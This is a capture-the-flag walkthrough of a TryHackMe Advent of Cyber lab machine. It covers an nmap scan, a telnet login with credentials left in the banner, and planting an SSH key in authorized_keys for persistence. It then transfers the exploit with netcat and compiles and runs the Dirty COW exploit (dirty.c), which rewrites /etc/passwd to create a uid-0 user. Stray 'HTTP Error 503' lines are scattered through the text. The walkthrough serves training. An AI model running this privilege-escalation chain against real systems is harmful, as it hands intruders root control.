

Day 13 - Coal for Christmas

Scenario



Day 13: Coal For Christmas

Prove these sysadmins deserve coal for Christmas!

[Watch JohnHammond's video on solving this task!](#)

here's some clue we got here (the house address was on '10.10.13.37')

The Christmas GPS now says this house is at the address 10.10.13.37. Scan this machine with a port-scanning tool of your choice.

let's perform port scanning on the host

```

Service Unavailable
(nobodyatall@0xDEADBEEF)-[~/tryhackme/adventOfCyber2]
$ nmap -sC -sV 10.10.13.37
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-15 11:30 EST
Nmap scan report for 10.10.13.37
Host is up (0.19s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 68:60:de:c2:2b:c6:16:d8:5b:88:be:e3:cc:a1:25:75 (DSA)
|   2048 50:db:75:ba:11:2f:43:c9:ab:14:40:6d:7f:a1:ee:e3 (RSA)
|_  256 11:5d:55:29:8a:77:d8:08:b4:00:9b:a3:61:93:fe:e5 (ECDSA)
23/tcp    open  telnet    Linux telnetd
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000    2,3,4      111/tcp     rpcbind
|   100000    2,3,4      111/udp     rpcbind
|   100000    3,4        111/tcp6    rpcbind
|   100000    3,4        111/udp6    rpcbind
|   100024    1          34267/udp   status
|   100024    1          35976/tcp6  status
|   100024    1          53442/tcp   status
|_  100024    1          55514/udp6  status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

Question: What old, deprecated protocol and service is running?
-telnet

let's check out the telnet port & we found santa's credential on the banner?

```
(nobodyatall@0xDEADBEEF)-[~]  
$ telnet 10.10.13.37  
Trying 10.10.13.37 ...  
Connected to 10.10.13.37.  
Escape character is '^]'.  
HI SANTA!!!
```

We knew you were coming and we wanted to make it easy to drop off presents, so we created an account for you to use.

Username: santa
Password: clauschristmas

We left you cookies and milk!

christmas login: █

let's try it out! & the credential do works!!

```
HTTP Error 503. The service is unavailable.  
We left you cookies and milk!  
  
christmas login: santa  
Password:  
Last login: Sat Nov 21 20:37:37 UTC 2020 from 10.0.2.2 on pts/2
```

```
  \ /  
  →*←  
  /o\  
 /_/_\  
/_/_/o_/_\  
/_/o_/_/_\  
/_/_/_/_/o_/_/_\  
/_/_/_/_/_/o_/_/_/_\  
/_/_/_/_/_/_/o_/_/_/_/_\  
/_/_/_/_/_/_/_/o_/_/_/_/_/_\  
/_/_/_/_/_/_/_/_/o_/_/_/_/_/_/_\  
[_/_/_/_/_/_/_/_/_/o_/_/_/_/_/_/_/_/_]  
[_/_/_/_/_/_/_/_/_/_/o_/_/_/_/_/_/_/_/_/_]
```

\$ █

Question: What credential was left for you?
-clauschristmas

it seems like a shell running here, we can execute shell command in here

```
$ id
uid=1001(santa) gid=1003(santa) groups=1003(santa)
$
```

let's get the system distro information

```
cat: /etc/: No such file or directory
$ cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04 LTS"
$
```

Question: What distribution of Linux and version number is this server running?
-Ubuntu 12.04

this is the next question that want us to do, old Ubuntu & kernel exploit?

This is a very *old* version of Linux! This may be vulnerable to some kernel exploits, that we could use to escalate our privileges.

Take a look at the cookies and milk that the server owners left for you. You can do this with the `cat` command as mentioned earlier.

```
cat cookies_and_milk.txt
```

```
Who got here first?
```

let's check out the santa's home directory & we found the interesting text file name `cookies_and_milk`

```
$ pwd
/home/santa
$ ls -la
total 20
drwxr-xr-x 3 santa santa 4096 Nov 21 20:37 .
drwxr-xr-x 3 root  root  4096 Nov 21 20:37 ..
drwx----- 2 santa santa 4096 Nov 21 20:37 .cache
-rwxr-xr-x 1 santa santa 1422 Nov 21 20:37 christmas.sh
-rw-r--r-- 1 santa santa 2925 Nov 21 20:37 cookies_and_milk.txt
```

by checking the content heading part, we found who's the one that's on the system first
// it's Grinch!

```
$ cat cookies_and_milk.txt
/*****
// HAHA! Too bad Santa! I, the Grinch, got here
// before you did! I helped myself to some of
// the goodies here, but you can still enjoy
// some half eaten cookies and this leftover
// milk! Why dont you try and refill it yourself!
//   - Yours Truly,
//       The Grinch
//*****/
#include <fcntl.h>
```

Question: Who got here first?
-Grinch

the file content was a c language code here

```
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "grinch";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
    char *username;
    char *hash;
    int user_id;
    int group_id;
    char *info;
    char *home_dir;
    char *shell;
};
```

by using googleFu to search for the 1st 2 variable line, & we found that it's belong to dirtyCow exploit!



dirtyCow is a kernel exploit, let's check out the remote host kernel version

```
//*****  
$ uname -a  
Linux christmas 3.2.0-23-generic #36-Ubuntu SMP Tue A  
$
```

we search using searchsploit & it seems that this linux kernel is vulnerable to dirty cow exploit

Exploit Title	Path
Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation	solaris/local/15962.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)	linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)	linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEADATA' Race Condition (Write Access Method)	linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEADATA' Race Condition Privilege Escalation (/etc/passwd Method)	linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method)	linux/local/40611.c
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'MemPodipper' Local Privilege Escalation (1)	linux/local/18411.c

this telnet shell is kinda hard to use let's write our public key into the authorized_keys

in santa's home directory

```
$ mkdir .ssh  
$ cd .ssh
```

write public key into authorized_keys

```
$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQgQC4bzYWITIVgsbNa8Fl+YadN60xJm3w3Iok  
sVOG3+CuEgKJUB2zhM3gCKh4mX/V/ONq08pyhgkIRnp8JOwOGWwSjM6Bjx0ea3An/x1+khnMQbC1xcVu  
/I4poULL10ZPgn3byutc7DZhbuv1Ny1thls9L6vwnxTqMjcU3w8udtt50msqQID5HSe0AoPzk7TUodoM  
fmfvhpmY8h6MyWflTDeoV7KqW4N9HXNpRYQSudE2dCEyNwRCI2DoT5A8g7YkIiwS9r7d8089FUuK5FZa  
IgDDj1K3t9PpvKGChWTU/IIB7sr6eNDHBhpqQtdh2c1aKmGx/VXz+5gcZfDtZLz6Vixod1yWr6Od3moN  
Wzb7ajrR2avq2uu2X9vVweyeq2+4mGcysSbGil/NdOrF90SXh057/RHkv1+pdAuPEv4j+R3HldyDxNvp  
nrvvBDl/mtB90ksbBoiR1DYd1AWrVDPa5HCJ6bfyQ/u+sgd38TFZBs01jXDuJ1KeeIZtqd4ALZKn2ac=  
nobodyatall@0xDEADBEEF' > authorized_keys
```

ssh into santa user using our private key

[illegible]

now let's search for the dirtycow exploit in github & we found dirty.c

Note: If you experience crashes or locks take a look at [this](#) fix.

Link	Usage	Description	Family
dirtyc0w.c	<code>./dirtyc0w file content</code>	Read-only write	/proc/self/mem
cowroot.c	<code>./cowroot</code>	SUID-based root	/proc/self/mem
dirtycow-mem.c	<code>./dirtycow-mem</code>	libc-based root	/proc/self/mem
pokemon.c	<code>./d file content</code>	Read-only write	PTRACE_POKEDATA
dirtycow.cr	<code>dirtycow --target --string --offset</code>	Read-only write	/proc/self/mem
dirtyc0w.c	<code>./dirtycow file content</code>	Read-only write (Android)	/proc/self/mem
dirtycow.rb	<code>use exploit/linux/local/dirtycow</code> and <code>run</code>	SUID-based root	/proc/self/mem
0xdeadbeef.c	<code>./0xdeadbeef</code>	vDSO-based root	PTRACE_POKEDATA
naughtyc0w.c	<code>./c0w suid</code>	SUID-based root	/proc/self/mem
c0w.c	<code>./c0w</code>	SUID-based root	PTRACE_POKEDATA
dirty_pass[...].c	<code>./dirty_passwd_adjust_cow</code>	/etc/passwd based root	/proc/self/mem
muCow.c	<code>./muCow destination < payload.exe</code>	Read-only write (multi page)	PTRACE_POKEDATA
cowpy.c	<code>r2pm -i dirtycow</code>	Read-only write (radare2)	/proc/self/mem
dirtycow.fasm	<code>./main</code>	SUID-based root	/proc/self/mem
dcow.cpp	<code>./dcow</code>	/etc/passwd based root	/proc/self/mem
dirtyc0w.go	<code>go run dirtyc0w.go -f=file -c=content</code>	Read-only write	/proc/self/mem
dirty.c	<code>./dirty</code>	/etc/passwd based root	PTRACE_POKEDATA

the source code header of dirty.c & it's the same as the one Grinch used


```
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
```

```
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
```

in the comment section it shows how we can compile the c code using gcc

```
// https://github.com/dirtycow/dirtycow.github.io.
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// .. - - - - -
```

Question: What is the verbatim syntax you can use to compile, taken from the real C source code comments?

- gcc -pthread dirty.c -o dirty -lcrypt

upload the dirty.c to the remote host

```
(nobodyatall@0xDEADBEEF)-[~/script/linux]
$ nc -lvp 18890 < dirtycow.c
listening on [any] 18890 ...
10.10.13.37: inverse host lookup failed: Unknown host
connect to [10.8.20.97] from (UNKNOWN) [10.10.13.37] 36043
```

```
santa@christmas:~$ nc -v 10.8.20.97 18890 > dirty.c
Connection to 10.8.20.97 18890 port [tcp/*] succeeded!
```

compile the dirty.c & assign execute bit to the binary

```
santa@christmas:~$ gcc -pthread dirty.c -o dirty -lcrypt
santa@christmas:~$ chmod +x dirty
```

execute the dirty cow exploit binary
test

```
santa@christmas:~$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
firefart:fi6bS9A.C7BDQ:0:0:pwned:/root:/bin/bash
mmap: 7f582ff0d000
madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'test'.

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'test'.

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
santa@christmas:~$
```

Question: What "new" username was created, with the default operations of the real C source code?
-firefart

now let's su into the newly create account 'firefart'
//if you notice that or uid is 0 right now it's root!

```
santa@christmas:~$ su firefart
Password:
firefart@christmas:/home/santa# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@christmas:/home/santa#
```

go into the root home directory we found message left by grinch

```
firefart@christmas:~# cat message_from_the_grinch.txt
Nice work, Santa!

HTTP Error 503. The service is unavailable.
Wow, this house sure was DIRTY!
I think they deserve coal for Christmas, don't you?
So let's leave some coal under the Christmas `tree`!

Let's work together on this. Leave this text file here,
and leave the christmas.sh script here too ...
but, create a file named `coal` in this directory!
Then, inside this directory, pipe the output
of the `tree` command into the `md5sum` command.

The output of that command (the hash itself) is
the flag you can submit to complete this task
for the Advent of Cyber!

- Yours,
    John Hammond
    er, sorry, I mean, the Grinch

- THE GRINCH, SERIOUSLY
```

now let's follow what the grinch want us to do to generate our md5hash(final flag)
// then you'll be able to see the md5sum value & that's your flag

```
firefart@christmas:~# touch coal
firefart@christmas:~# tree | md5sum
```